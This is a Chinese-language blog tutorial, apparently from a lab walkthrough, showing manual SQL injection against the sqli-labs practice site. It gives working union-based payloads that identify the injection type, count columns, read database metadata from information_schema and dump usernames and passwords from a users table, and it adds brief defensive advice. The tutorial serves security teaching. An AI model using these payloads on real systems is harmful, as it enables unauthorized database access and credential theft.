SQL注入-手工注入

判断是否存在SQL注入点

在这里插入图片描述
进入sqli-labs后提示输入ID作为参数
这里分别输入?id=1?id=2进行测试可以看到以下界面:
在这里插入图片描述
在这里插入图片描述

根据结果可判断出该注入为字符型注入,且该页面存在回显,所以我们可以使用联合查询

在进行安全测试时,我们可以通过特定的方法来判断网页是否存在SQL注入漏洞,特别是区分字符型和数字型注入:

  1. 数字型注入测试
  • 首先,尝试使用查询参数?id=1 and 1=1访问页面。如果页面显示正常,并且与原始页面无异,这表明SQL查询可能正常执行。
  • 接着,更改查询参数为?id=1 and 1=2。如果此时页面报错或部分数据显示异常,这通常意味着SQL查询条件被正确解析,且页面对条件的真假值有反应。这种情况下,我们可以推断存在数字型SQL注入的风险。
  1. 字符型注入测试
  • 同样,先使用?id=1' and 1=1--+作为查询参数访问页面。如果页面能够正常显示,并且与原始页面保持一致,说明SQL查询能够处理引号内的特殊字符。
  • 然后,将查询参数改为?id=1' and 1=2--+。如果页面此时出现错误或数据展示不完整,这通常意味着SQL查询在处理引号内的特殊字符时遇到了问题。这可能表明存在字符型SQL注入的漏洞。
    通过以上测试,我们可以较为准确地判断出网页是否容易受到SQL注入攻击,并识别出注入的类型。这种测试方法有助于开发人员在设计和维护网站时,采取相应的安全措施来防范潜在的安全风险。

联合查询(两表之间列数必须相同)

①首先明确表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3 --+
在这里插入图片描述
通过改变SQL语句,经测试发现此此表有3列。

②爆出显示位,了解表格中的哪一列是在页面显示。

?id=-1'union select 1,2,3--+
在这里插入图片描述

③获取当前数据名和版本号,涉及MySQL的一些函数。

?id=-1'union select 1,database(),version()--+
在这里插入图片描述
通过结果可知当前表所处的数据库是security,版本是5.7.26

④爆表

在MySQL数据库中,information_schema 是一个特殊的数据库,它包含了关于MySQL服务器上所有其他数据库的元数据。这些元数据包括了数据库名、表名、列名、索引信息等。information_schema 是一个信息库,它提供了一种查询数据库结构的方式,而不需要访问实际的数据。
在SQL注入攻击中,攻击者可能会尝试利用 information_schema 来获取数据库的结构信息,例如:

  • table_schema:数据库名。
  • table_name:表名。
  • column_name:列名。
    攻击者通过构造特定的SQL查询,可以查询 information_schema.tablesinformation_schema.columns 来获取所需信息。例如:
    SELECT table_name FROM information_schema.tables WHERE table_schema = '数据库名';
    这条查询会返回指定数据库中所有表的名称。
    SELECT column_name FROM information_schema.columns WHERE table_schema = '数据库名' AND table_name = '表名';
    这条查询会返回指定数据库和表中所有列的名称。
    为了防止这种风险,应该采取适当的安全措施,比如限制对 information_schema 的访问权限,对数据库进行定期的安全审查,以及使用参数化查询来防止SQL注入。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
在这里插入图片描述
通过结果可知当前security库下有四张表,并且users表最有可能存放用户信息

⑤爆字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询information_schema数据库下的columns表里users的列名:
在这里插入图片描述

⑥爆账号密码

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
在这里插入图片描述
这样就爆出各个用户的账号密码了

  • 12
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值